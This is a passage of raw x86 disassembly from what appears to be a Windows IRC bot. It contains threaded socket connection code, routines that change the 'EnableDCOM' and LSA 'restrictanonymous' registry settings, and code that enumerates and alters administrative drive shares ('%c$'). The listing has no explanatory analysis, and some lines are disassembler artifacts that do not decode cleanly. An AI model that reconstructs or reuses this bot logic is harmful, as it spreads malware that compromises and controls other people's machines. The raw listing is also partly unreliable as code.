		cmp	dword ptr [ebp-8Ch], 1
		jnz	short loc_40F599
		mov	esi, offset aXp	; "XP"
		jmp	short loc_40F5AC
; ---------------------------------------------------------------------------


loc_40F599:				; CODE XREF: seg000:0040F590j
		cmp	dword ptr [ebp-8Ch], 2
		mov	esi, offset dword_42D044
		jz	short loc_40F5AC


loc_40F5A7:				; CODE XREF: seg000:0040F567j
					; seg000:0040F577j
		mov	esi, offset dword_421F80


loc_40F5AC:				; CODE XREF: seg000:0040F547j
					; seg000:0040F54Ej ...
		mov	edi, [ebp+8]
		push	esi
		push	offset dword_42D03C
		push	1Ch
		push	edi
		call	sub_41099A
		xor	esi, esi
		add	esp, 10h
		cmp	ds:dword_4224A0, esi
		jle	short loc_40F5F0


loc_40F5CA:				; CODE XREF: seg000:0040F5EEj
		call	sub_41084F
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42D02C
		push	1Ch
		push	edi
		call	sub_41099A
		add	esp, 14h
		inc	esi
		cmp	esi, ds:dword_4224A0
		jl	short loc_40F5CA


loc_40F5F0:				; CODE XREF: seg000:0040F5C8j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F5F6	proc near		; CODE XREF: sub_40F699+5Cp

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		call	ds:dword_41C04C	; GetTickCount
		xor	edx, edx
		mov	ecx, 5265C00h
		div	ecx
		push	0
		push	offset aMirc	; "mIRC"
		mov	esi, eax
		cmp	esi, 64h
		jbe	short loc_40F645
		call	ds:dword_42FA24
		test	eax, eax
		mov	eax, offset dword_42D050
		jnz	short loc_40F62E
		mov	eax, offset byte_42E658


loc_40F62E:				; CODE XREF: sub_40F5F6+31j
		push	eax
		push	esi
		push	offset dword_42D048
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		call	sub_41099A
		add	esp, 14h
		jmp	short loc_40F665
; ---------------------------------------------------------------------------


loc_40F645:				; CODE XREF: sub_40F5F6+22j
		call	ds:dword_42FA24
		test	eax, eax
		mov	eax, offset dword_42D050
		jnz	short loc_40F659
		mov	eax, offset byte_42E658


loc_40F659:				; CODE XREF: sub_40F5F6+5Cj
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4104AF
		pop	ecx
		pop	ecx


loc_40F665:				; CODE XREF: sub_40F5F6+4Dj
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_410A70
		pop	ecx
		cmp	eax, 2
		pop	esi
		jbe	short loc_40F694
		push	1Ch
		lea	eax, [ebp+var_1C]
		push	[ebp+arg_0]
		push	eax
		call	sub_411E60
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		push	[ebp+arg_0]
		call	sub_411C90
		add	esp, 18h


loc_40F694:				; CODE XREF: sub_40F5F6+7Dj
		mov	eax, [ebp+arg_0]
		leave
		retn
sub_40F5F6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F699	proc near		; CODE XREF: sub_408C63+7Fp
					; sub_408DCB+50p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, offset dword_42CFD4


loc_40F6A5:				; CODE XREF: sub_40F699+3Fj
		cmp	[ebp+arg_C], 0
		jz	short loc_40F6C0
		lea	eax, [esi-0Ch]
		push	eax
		push	[ebp+arg_C]
		call	sub_4117C0
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40F6CA
; ---------------------------------------------------------------------------


loc_40F6C0:				; CODE XREF: sub_40F699+10j
		mov	ecx, [esi]
		xor	eax, eax
		cmp	ecx, [ebp+arg_4]
		setz	al


loc_40F6CA:				; CODE XREF: sub_40F699+25j
		test	eax, eax
		jnz	short loc_40F6DC
		add	esi, 14h
		inc	edi
		cmp	esi, offset dword_42D038
		jl	short loc_40F6A5
		jmp	short loc_40F6EA
; ---------------------------------------------------------------------------


loc_40F6DC:				; CODE XREF: sub_40F699+33j
		push	[ebp+arg_0]
		lea	eax, [edi+edi*4]
		call	ds:off_42CFD8[eax*4]
		pop	ecx


loc_40F6EA:				; CODE XREF: sub_40F699+41j
		cmp	[ebp+arg_8], 0
		pop	edi
		pop	esi
		jz	short loc_40F6FD
		push	[ebp+arg_0]
		call	sub_40F5F6
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40F6FD:				; CODE XREF: sub_40F699+57j
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_40F699	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F702	proc near		; DATA XREF: sub_40F7CF+7Bo

var_B8		= dword	ptr -0B8h
var_B4		= byte ptr -0B4h
var_34		= dword	ptr -34h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0B8h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	2Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_B8]
		push	1
		rep movsd
		pop	esi
		mov	[eax+0A4h], esi
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_410870
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_34]
		call	ds:dword_42FA18
		mov	[ebp+var_E], ax
		mov	eax, [ebp+var_28]
		push	6
		push	esi
		push	2
		mov	[ebp+var_C], eax
		call	ds:dword_42FA98
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40F7C0
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	ds:dword_42F9C0
		mov	ecx, [ebp+var_2C]
		imul	ecx, 234h
		cmp	eax, 0FFFFFFFFh
		mov	ds:dword_434BB4[ecx], esi
		jz	short loc_40F7C0
		push	[ebp+var_34]
		push	[ebp+var_28]
		call	ds:dword_42FAA4
		push	eax
		mov	edi, offset dword_45E8E4
		push	offset unk_42D054
		push	edi
		call	sub_4104AF
		push	0
		lea	eax, [ebp+var_B4]
		push	[ebp+var_20]
		push	edi
		push	eax
		push	[ebp+var_B8]
		call	sub_40DFB2
		push	edi
		call	sub_407AB1
		add	esp, 28h


loc_40F7C0:				; CODE XREF: sub_40F702+5Dj
					; sub_40F702+7Ej
		push	esi
		call	ds:dword_42FAB0
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn	4
sub_40F702	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_40F7CF	proc near		; DATA XREF: seg000:0040BC75o

var_130		= byte ptr -130h
var_B0		= byte ptr -0B0h
var_2C		= dword	ptr -2Ch
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 130h
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	2Ah
		mov	esi, ebx
		pop	ecx
		lea	edi, [ebp+var_B0]
		rep movsd
		mov	esi, ds:dword_41C050
		mov	dword ptr [ebx+0A0h], 1
		xor	edi, edi


loc_40F7FD:				; CODE XREF: sub_40F7CF+ECj
		push	[ebp+var_2C]
		push	[ebp+var_20]
		call	ds:dword_42FAA4
		push	eax
		lea	eax, [ebp+var_130]
		push	offset unk_42D090
		push	eax
		call	sub_4104AF
		lea	eax, [ebp+var_130]
		push	1FFh
		push	eax
		mov	eax, [ebp+var_24]
		imul	eax, 234h
		add	eax, offset dword_4349A8
		push	eax
		call	sub_411C90
		add	esp, 1Ch
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_B0]
		push	edi
		push	eax
		push	offset sub_40F702
		push	edi
		push	edi
		call	ds:dword_41C064	; CreateThread
		cmp	eax, edi
		mov	[ebp+var_4], eax
		jz	short loc_40F869


loc_40F85E:				; CODE XREF: sub_40F7CF+98j
		cmp	[ebp+var_C], edi
		jnz	short loc_40F869
		push	32h
		call	esi ; dword_41C050
		jmp	short loc_40F85E
; ---------------------------------------------------------------------------


loc_40F869:				; CODE XREF: sub_40F7CF+8Dj
					; sub_40F7CF+92j
		push	[ebp+var_4]
		call	ds:dword_41C068	; CloseHandle
		push	dword ptr [ebx+88h]
		mov	[ebx+0A4h], edi
		call	esi ; dword_41C050
		lea	eax, [ebp+var_20]
		push	4
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_410510
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	ds:dword_42F94C
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	ds:dword_42FA14
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_410510
		add	esp, 0Ch
		jmp	loc_40F7FD
sub_40F7CF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F8C0	proc near		; DATA XREF: seg000:0040DC20o

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		rep movsd
		pop	edi
		pop	esi
		push	[ebp+var_8]
		cmp	[ebp+var_10], 0
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_94]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		jz	short loc_40F907
		call	sub_40F920
		jmp	short loc_40F90C
; ---------------------------------------------------------------------------


loc_40F907:				; CODE XREF: sub_40F8C0+3Ej
		call	sub_40FC44


loc_40F90C:				; CODE XREF: sub_40F8C0+45j
		add	esp, 10h
		push	[ebp+var_14]
		call	sub_410277
		pop	ecx
		push	0
		call	near ptr 0A70000h
		pop	edx
sub_40F8C0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F920	proc near		; CODE XREF: sub_40F8C0+40p

var_214		= byte ptr -214h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 214h
		push	esi
		push	edi
		xor	edi, edi
		cmp	ds:dword_42FAE8, edi
		jnz	loc_40FA52
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	edi
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	ds:dword_42FA88
		test	eax, eax
		jnz	short loc_40F9AB
		mov	ax, ds:word_42D478
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_410A70
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	edi
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	ds:dword_42FA3C
		test	eax, eax
		jz	short loc_40F98D
		push	offset unk_42D434
		jmp	short loc_40F992
; ---------------------------------------------------------------------------


loc_40F98D:				; CODE XREF: sub_40F920+64j
		push	offset dword_42D404


loc_40F992:				; CODE XREF: sub_40F920+6Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4104AF
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	ds:dword_42F9F4
		jmp	short loc_40F9BE
; ---------------------------------------------------------------------------


loc_40F9AB:				; CODE XREF: sub_40F920+36j
		lea	eax, [ebp+var_214]
		push	offset unk_42D3C0
		push	eax
		call	sub_4104AF
		pop	ecx
		pop	ecx


loc_40F9BE:				; CODE XREF: sub_40F920+89j
		cmp	[ebp+arg_C], edi
		jnz	short loc_40F9DD
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40DFB2
		add	esp, 14h


loc_40F9DD:				; CODE XREF: sub_40F920+A1j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_407AB1
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	edi
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	ds:dword_42FA88
		test	eax, eax
		jnz	short loc_40FA4B
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	edi
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], 1
		call	ds:dword_42FA3C
		test	eax, eax
		jz	short loc_40FA2D
		push	offset unk_42D35C
		jmp	short loc_40FA32
; ---------------------------------------------------------------------------


loc_40FA2D:				; CODE XREF: sub_40F920+104j
		push	offset unk_42D314


loc_40FA32:				; CODE XREF: sub_40F920+10Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4104AF
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	ds:dword_42F9F4
		jmp	short loc_40FA65
; ---------------------------------------------------------------------------


loc_40FA4B:				; CODE XREF: sub_40F920+E2j
		push	offset unk_42D2C4
		jmp	short loc_40FA57
; ---------------------------------------------------------------------------


loc_40FA52:				; CODE XREF: sub_40F920+13j
		push	offset unk_42D280


loc_40FA57:				; CODE XREF: sub_40F920+130j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4104AF
		pop	ecx
		pop	ecx


loc_40FA65:				; CODE XREF: sub_40F920+129j
		cmp	[ebp+arg_C], edi
		jnz	short loc_40FA84
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40DFB2
		add	esp, 14h


loc_40FA84:				; CODE XREF: sub_40F920+148j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_407AB1
		cmp	ds:dword_42FB10, edi
		pop	ecx
		jnz	loc_40FBFF
		push	ebx
		mov	[ebp+var_4], edi
		mov	[ebp+var_14], edi
		mov	[ebp+var_C], edi


loc_40FAA7:				; CODE XREF: sub_40F920+2C3j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	edi
		call	ds:dword_42F964
		cmp	eax, edi
		mov	[ebp+var_10], eax
		jz	short loc_40FB44
		cmp	eax, 0EAh
		jz	short loc_40FB44
		mov	esi, offset off_42D0D0


loc_40FAD8:				; CODE XREF: sub_40F920+21Dj
		push	dword ptr [esi]
		push	edi
		call	sub_40E603
		pop	ecx
		pop	ecx
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_40FAEF
		push	offset unk_42D248
		jmp	short loc_40FAF4
; ---------------------------------------------------------------------------


loc_40FAEF:				; CODE XREF: sub_40F920+1C6j
		push	offset unk_42D208


loc_40FAF4:				; CODE XREF: sub_40F920+1CDj
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41099A
		add	esp, 10h
		cmp	[ebp+arg_C], edi
		jnz	short loc_40FB27
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40DFB2
		add	esp, 14h


loc_40FB27:				; CODE XREF: sub_40F920+1EBj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_407AB1
		add	esi, 8
		pop	ecx
		cmp	esi, offset dword_42D0F0
		jl	short loc_40FAD8
		jmp	loc_40FBDC
; ---------------------------------------------------------------------------


loc_40FB44:				; CODE XREF: sub_40F920+1AAj
					; sub_40F920+1B1j
		mov	esi, [ebp+var_8]
		push	1
		pop	ebx
		cmp	[ebp+var_4], ebx
		jb	loc_40FBD3


loc_40FB53:				; CODE XREF: sub_40F920+2AFj
		mov	edi, [esi]
		push	edi
		call	sub_41285C
		cmp	word ptr [edi+eax*2-2],	24h
		pop	ecx
		jnz	short loc_40FBC8
		push	edi
		call	sub_40E4F0
		push	eax
		push	0
		call	sub_40E603
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_40FB82
		push	offset unk_42D1D0
		jmp	short loc_40FB87
; ---------------------------------------------------------------------------


loc_40FB82:				; CODE XREF: sub_40F920+259j
		push	offset unk_42D190


loc_40FB87:				; CODE XREF: sub_40F920+260j
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41099A
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_40FBBB
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40DFB2
		add	esp, 14h


loc_40FBBB:				; CODE XREF: sub_40F920+27Fj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_407AB1
		pop	ecx


loc_40FBC8:				; CODE XREF: sub_40F920+242j
		add	esi, 28h
		inc	ebx
		cmp	ebx, [ebp+var_4]
		jbe	short loc_40FB53
		xor	edi, edi


loc_40FBD3:				; CODE XREF: sub_40F920+22Dj
		push	[ebp+var_8]
		call	ds:dword_42FAA8


loc_40FBDC:				; CODE XREF: sub_40F920+21Fj
		cmp	[ebp+var_10], 0EAh
		jz	loc_40FAA7
		lea	eax, [ebp+var_214]
		push	offset unk_42D154
		push	eax
		call	sub_4104AF
		pop	ecx
		pop	ecx
		pop	ebx
		jmp	short loc_40FC12
; ---------------------------------------------------------------------------


loc_40FBFF:				; CODE XREF: sub_40F920+177j
		lea	eax, [ebp+var_214]
		push	offset unk_42D110
		push	eax
		call	sub_4104AF
		pop	ecx
		pop	ecx


loc_40FC12:				; CODE XREF: sub_40F920+2DDj
		cmp	[ebp+arg_C], edi
		jnz	short loc_40FC30
		push	edi
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40DFB2
		add	esp, 14h


loc_40FC30:				; CODE XREF: sub_40F920+2F5j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_407AB1
		pop	ecx
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
sub_40F920	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FC44	proc near		; CODE XREF: sub_40F8C0:loc_40F907p

var_220		= byte ptr -220h
var_20		= byte ptr -20h
var_14		= byte ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 220h
		push	ebx
		xor	ebx, ebx
		cmp	ds:dword_42FAE8, ebx
		push	esi
		jnz	loc_40FD72
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	ebx
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	ds:dword_42FA88
		test	eax, eax
		jnz	short loc_40FCCF
		mov	ax, ds:word_42D680
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_410A70
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	ebx
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	ds:dword_42FA3C
		test	eax, eax
		jz	short loc_40FCB1
		push	offset unk_42D648
		jmp	short loc_40FCB6
; ---------------------------------------------------------------------------


loc_40FCB1:				; CODE XREF: sub_40FC44+64j
		push	offset dword_42D618


loc_40FCB6:				; CODE XREF: sub_40FC44+6Bj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4104AF
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	ds:dword_42F9F4
		jmp	short loc_40FCE2
; ---------------------------------------------------------------------------


loc_40FCCF:				; CODE XREF: sub_40FC44+36j
		lea	eax, [ebp+var_220]
		push	offset unk_42D3C0
		push	eax
		call	sub_4104AF
		pop	ecx
		pop	ecx


loc_40FCE2:				; CODE XREF: sub_40FC44+89j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_40FD01
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40DFB2
		add	esp, 14h


loc_40FD01:				; CODE XREF: sub_40FC44+A1j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_407AB1
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	ebx
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	ds:dword_42FA88
		test	eax, eax
		jnz	short loc_40FD6B
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	ebx
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], ebx
		call	ds:dword_42FA3C
		test	eax, eax
		jz	short loc_40FD4D
		push	offset unk_42D5C8
		jmp	short loc_40FD52
; ---------------------------------------------------------------------------


loc_40FD4D:				; CODE XREF: sub_40FC44+100j
		push	offset unk_42D580


loc_40FD52:				; CODE XREF: sub_40FC44+107j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4104AF
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	ds:dword_42F9F4
		jmp	short loc_40FD85
; ---------------------------------------------------------------------------


loc_40FD6B:				; CODE XREF: sub_40FC44+E2j
		push	offset unk_42D530
		jmp	short loc_40FD77
; ---------------------------------------------------------------------------


loc_40FD72:				; CODE XREF: sub_40FC44+13j
		push	offset unk_42D280


loc_40FD77:				; CODE XREF: sub_40FC44+12Cj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4104AF
		pop	ecx
		pop	ecx


loc_40FD85:				; CODE XREF: sub_40FC44+125j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_40FDA4
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40DFB2
		add	esp, 14h


loc_40FDA4:				; CODE XREF: sub_40FC44+144j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_407AB1
		cmp	ds:dword_42FB10, ebx
		pop	ecx
		jnz	loc_40FF16
		push	edi
		mov	esi, offset off_42D0D0
		mov	edi, 200h


loc_40FDC8:				; CODE XREF: sub_40FC44+1E9j
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	ebx
		call	sub_40E557
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_40FDE3
		push	offset unk_42D4FC
		jmp	short loc_40FDE8
; ---------------------------------------------------------------------------


loc_40FDE3:				; CODE XREF: sub_40FC44+196j
		push	offset unk_42D4C0


loc_40FDE8:				; CODE XREF: sub_40FC44+19Dj
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41099A
		add	esp, 10h
		cmp	[ebp+arg_C], ebx
		jnz	short loc_40FE17
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40DFB2
		add	esp, 14h


loc_40FE17:				; CODE XREF: sub_40FC44+1B7j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_407AB1
		add	esi, 8
		pop	ecx
		cmp	esi, offset off_42D0E0
		jl	short loc_40FDC8
		call	near ptr 0A70000h
		outsb
		test	eax, eax
		mov	[ebp+var_4], eax
		mov	bl, 41h
		jz	loc_40FEFE


loc_40FE42:				; CODE XREF: sub_40FC44+2B4j
		mov	eax, [ebp+var_4]
		and	eax, 1
		cmp	al, 1
		jnz	loc_40FEF3
		cmp	bl, 41h
		jz	loc_40FEF3
		movsx	esi, bl
		push	esi
		push	offset aC_1	; "%c$"
		lea	eax, [ebp+var_14]
		push	0Ah
		push	eax
		call	sub_41099A
		push	esi
		push	offset aC_0	; "%c:\\"
		lea	eax, [ebp+var_20]
		push	0Ah
		push	eax
		call	sub_41099A
		add	esp, 20h
		lea	eax, [ebp+var_20]
		push	eax
		call	ds:dword_42FA78
		cmp	eax, 3
		jnz	short loc_40FEF3
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	0
		call	sub_40E557
		add	esp, 0Ch
		test	eax, eax
		lea	eax, [ebp+var_14]
		push	eax
		jnz	short loc_40FEB1
		push	offset unk_42D4FC
		jmp	short loc_40FEB6
; ---------------------------------------------------------------------------


loc_40FEB1:				; CODE XREF: sub_40FC44+264j
		push	offset unk_42D4C0


loc_40FEB6:				; CODE XREF: sub_40FC44+26Bj
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41099A
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_40FEE6
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40DFB2
		add	esp, 14h


loc_40FEE6:				; CODE XREF: sub_40FC44+286j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_407AB1
		pop	ecx


loc_40FEF3:				; CODE XREF: sub_40FC44+206j
					; sub_40FC44+20Fj ...
		inc	bl
		shr	[ebp+var_4], 1
		jnz	loc_40FE42


loc_40FEFE:				; CODE XREF: sub_40FC44+1F8j
		lea	eax, [ebp+var_220]
		push	offset unk_42D47C
		push	eax
		call	sub_4104AF
		pop	ecx
		xor	ebx, ebx
		pop	ecx
		pop	edi
		jmp	short loc_40FF29
; ---------------------------------------------------------------------------


loc_40FF16:				; CODE XREF: sub_40FC44+173j
		lea	eax, [ebp+var_220]
		push	offset unk_42D110
		push	eax
		call	sub_4104AF
		pop	ecx
		pop	ecx


loc_40FF29:				; CODE XREF: sub_40FC44+2D0j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_40FF47
		push	ebx
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40DFB2
		add	esp, 14h


loc_40FF47:				; CODE XREF: sub_40FC44+2E8j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_407AB1
		pop	ecx
		push	1
		pop	eax
		pop	esi
		pop	ebx
		leave
		retn
sub_40FC44	endp


; =============== S U B	R O U T	I N E =======================================



sub_40FF5B	proc near		; CODE XREF: sub_403656+220p
					; seg000:004048BCp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset dword_4349A8


loc_40FF63:				; CODE XREF: sub_40FF5B+18j
		cmp	byte ptr [eax],	0
		jz	short loc_40FF77
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_45DE98
		jl	short loc_40FF63
		jmp	short loc_40FFC2
; ---------------------------------------------------------------------------


loc_40FF77:				; CODE XREF: sub_40FF5B+Bj
		push	esi
		mov	esi, edi
		imul	esi, 234h
		push	1FFh
		push	[esp+0Ch+arg_0]
		lea	eax, dword_4349A8[esi]
		push	eax
		call	sub_411C90
		mov	eax, [esp+14h+arg_4]
		add	esp, 0Ch
		mov	ds:dword_434BA8[esi], eax
		and	ds:dword_434BAC[esi], 0
		mov	eax, [esp+8+arg_8]
		and	ds:dword_434BB0[esi], 0
		mov	ds:dword_434BB4[esi], eax
		and	ds:byte_434BC0[esi], 0
		pop	esi


loc_40FFC2:				; CODE XREF: sub_40FF5B+1Aj
		mov	eax, edi
		pop	edi
		retn
sub_40FF5B	endp

; ---------------------------------------------------------------------------
word_40FFC6	dw 8B55h		; DATA XREF: seg000:0040D9B6o
		dd 98EC81ECh, 8B000000h, 57560845h, 8B59266Ah, 68BD8DF0h
		dd 0F3FFFFFFh, 0F075FFA5h, 9480C7h, 10000h, 858D0000h
		dd 0FFFFFF6Ch, 50F475FFh, 0FF68B5FFh, 15E8FFFFh, 0FF000000h
		dd 6CE8EC75h, 83000002h, 6A14C4h, 65FFEBE8h, 5E5F5200h
		dd 81EC8B55h, 200ECh, 6A575600h, 1075FF00h, 42D77868h
		dd 0C75FF00h, 0E80875FFh, 0FFFFDF7Ah, 3314C483h, 49A8BEFFh
		dd 3E800043h, 833C7400h, 7500147Dh, 4BE8309h, 2, 57562D75h
		dd 0FE00858Dh, 9468FFFFh, 500042B9h, 446E8h, 8D016A00h
		dd 0FFFE0085h, 1075FFFFh, 0C75FF50h, 0E80875FFh, 0FFFFDF32h
		dd 8124C483h, 234C6h, 0FE814700h, 45DE98h, 5E5FB07Ch
; ---------------------------------------------------------------------------
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_410096	proc near		; CODE XREF: seg000:0040CD96p
					; sub_410124+12p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	esi, ebx
		jle	short loc_41011E
		cmp	esi, 12Ch
